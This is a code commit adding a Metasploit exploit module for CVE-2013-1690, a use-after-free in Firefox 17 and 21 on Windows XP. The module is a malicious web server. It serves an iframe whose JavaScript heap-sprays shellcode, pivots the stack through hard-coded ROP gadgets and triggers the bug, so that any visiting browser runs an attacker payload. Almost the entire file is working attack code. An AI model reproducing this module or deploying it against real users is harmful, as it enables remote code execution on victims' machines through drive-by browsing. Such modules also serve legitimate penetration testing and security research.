Land #2198 - Mozilla Firefox CVE-2013-1690 (FBI)
sinn3r
commit
9bc1eca944
|
|
@ -0,0 +1,182 @@
|
|||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# Framework web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/framework/
|
||||
##
|
||||
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Exploit::Remote
|
||||
Rank = NormalRanking
|
||||
|
||||
include Msf::Exploit::Remote::HttpServer::HTML
|
||||
include Msf::Exploit::RopDb
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Firefox onreadystatechange Event DocumentViewerImpl Use After Free',
|
||||
'Description' => %q{
|
||||
This module exploits a vulnerability found on Firefox 17.0.6, specifically an use
|
||||
after free of a DocumentViewerImpl object, triggered via an specially crafted web
|
||||
page using onreadystatechange events and the window.stop() API, as exploited in the
|
||||
wild on 2013 August to target Tor Browser users.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' =>
|
||||
[
|
||||
'Nils', # vulnerability discovery
|
||||
'Unknown', # 1day exploit, prolly the FBI
|
||||
'w3bd3vil', # 1day analysis
|
||||
'sinn3r', # Metasploit module
|
||||
'juan vazquez' # Metasploit module
|
||||
],
|
||||
'References' =>
|
||||
[
|
||||
[ 'CVE', '2013-1690' ],
|
||||
[ 'OSVDB', '94584'],
|
||||
[ 'BID', '60778'],
|
||||
[ 'URL', 'https://www.mozilla.org/security/announce/2013/mfsa2013-53.html' ],
|
||||
[ 'URL', 'https://lists.torproject.org/pipermail/tor-announce/2013-August/000089.html' ],
|
||||
[ 'URL', 'https://bugzilla.mozilla.org/show_bug.cgi?id=901365' ],
|
||||
[ 'URL', 'http://krash.in/ffn0day.txt' ],
|
||||
[ 'URL', 'http://hg.mozilla.org/releases/mozilla-esr17/rev/2d5a85d7d3ae' ]
|
||||
],
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
'EXITFUNC' => 'process',
|
||||
'InitialAutoRunScript' => 'migrate -f'
|
||||
},
|
||||
'Payload' =>
|
||||
{
|
||||
'BadChars' => "\x00",
|
||||
'DisableNops' => true
|
||||
},
|
||||
'Platform' => 'win',
|
||||
'Targets' =>
|
||||
[
|
||||
[ 'Firefox 17 & Firefox 21 / Windows XP SP3',
|
||||
{
|
||||
'FakeObject' => 0x0c101008, # Pointer to the Sprayed Memory
|
||||
'RetGadget' => 0x77c3ee16, # ret from msvcrt
|
||||
'StackPivot' => 0x76C9B4C2, # xcht ecx,esp # or byte ptr[eax], al # add byte ptr [edi+5Eh], bl # ret 8 from IMAGEHLP
|
||||
'VFuncPtr' => 0x0c10100c # Fake Function Pointer to the Sprayed Memory
|
||||
}
|
||||
]
|
||||
],
|
||||
'DisclosureDate' => 'Jun 25 2013',
|
||||
'DefaultTarget' => 0))
|
||||
|
||||
end
|
||||
|
||||
def stack_pivot
|
||||
pivot = "\x64\xa1\x18\x00\x00\x00" # mov eax, fs:[0x18 # get teb
|
||||
pivot << "\x83\xC0\x08" # add eax, byte 8 # get pointer to stacklimit
|
||||
pivot << "\x8b\x20" # mov esp, [eax] # put esp at stacklimit
|
||||
pivot << "\x81\xC4\x30\xF8\xFF\xFF" # add esp, -2000 # plus a little offset
|
||||
return pivot
|
||||
end
|
||||
|
||||
def junk(n=4)
|
||||
return rand_text_alpha(n).unpack("V").first
|
||||
end
|
||||
|
||||
def on_request_uri(cli, request)
|
||||
agent = request.headers['User-Agent']
|
||||
vprint_status("Agent: #{agent}")
|
||||
|
||||
if agent !~ /Windows NT 5\.1/
|
||||
print_error("Windows XP not found, sending 404: #{agent}")
|
||||
send_not_found(cli)
|
||||
return
|
||||
end
|
||||
|
||||
if agent !~ /Firefox\/17/ or agent !~ /Firefox\/21/
|
||||
print_error("Browser not supported, sending 404: #{agent}")
|
||||
send_not_found(cli)
|
||||
return
|
||||
end
|
||||
|
||||
my_uri = ('/' == get_resource[-1,1]) ? get_resource[0, get_resource.length-1] : get_resource
|
||||
|
||||
# build html
|
||||
code = [
|
||||
target['VFuncPtr'],
|
||||
target['RetGadget'],
|
||||
target['StackPivot'],
|
||||
junk
|
||||
].pack("V*")
|
||||
code << generate_rop_payload('msvcrt', stack_pivot + payload.encoded, {'target'=>'xp'})
|
||||
js_code = Rex::Text.to_unescape(code, Rex::Arch.endian(target.arch))
|
||||
js_random = Rex::Text.to_unescape(rand_text_alpha(4), Rex::Arch.endian(target.arch))
|
||||
|
||||
content = <<-HTML
|
||||
<html>
|
||||
<body>
|
||||
<iframe src="#{my_uri}/iframe.html"></iframe>
|
||||
</body></html>
|
||||
HTML
|
||||
|
||||
# build iframe
|
||||
iframe = <<-IFRAME
|
||||
<script>
|
||||
var z="<body><img src='nonexistant.html' onerror=\\"\\" ></body>";
|
||||
var test = new Array();
|
||||
var heap_chunks;
|
||||
function heapSpray(shellcode, fillsled) {
|
||||
var chunk_size, headersize, fillsled_len, code;
|
||||
var i, codewithnum;
|
||||
chunk_size = 0x40000;
|
||||
headersize = 0x10;
|
||||
fillsled_len = chunk_size - (headersize + shellcode.length);
|
||||
while (fillsled.length <fillsled_len)
|
||||
fillsled += fillsled;
|
||||
fillsled = fillsled.substring(0, fillsled_len);
|
||||
code = shellcode + fillsled;
|
||||
heap_chunks = new Array();
|
||||
for (i = 0; i<1000; i++)
|
||||
{
|
||||
codewithnum = "HERE" + code;
|
||||
heap_chunks[i] = codewithnum.substring(0, codewithnum.length);
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
function b() {
|
||||
for(var c=0;1024>c;c++) {
|
||||
test[c]=new ArrayBuffer(180);
|
||||
bufView = new Uint32Array(test[c]);
|
||||
for (var i=0; i < 45; i++) {
|
||||
bufView[i] = #{target['FakeObject']};
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
function a() {
|
||||
window.stop();
|
||||
var myshellcode = unescape("#{js_code}");
|
||||
var myfillsled = unescape("#{js_random}");
|
||||
heapSpray(myshellcode,myfillsled);
|
||||
b();
|
||||
window.parent.frames[0].frameElement.ownerDocument.write(z);
|
||||
}
|
||||
|
||||
document.addEventListener("readystatechange",a,null);
|
||||
</script>
|
||||
IFRAME
|
||||
|
||||
print_status("URI #{request.uri} requested...")
|
||||
|
||||
if request.uri =~ /iframe\.html/
|
||||
print_status("Sending iframe HTML")
|
||||
send_response(cli, iframe, {'Content-Type'=>'text/html'})
|
||||
return
|
||||
end
|
||||
|
||||
print_status("Sending HTML")
|
||||
send_response(cli, content, {'Content-Type'=>'text/html'})
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
Loading…
Reference in New Issue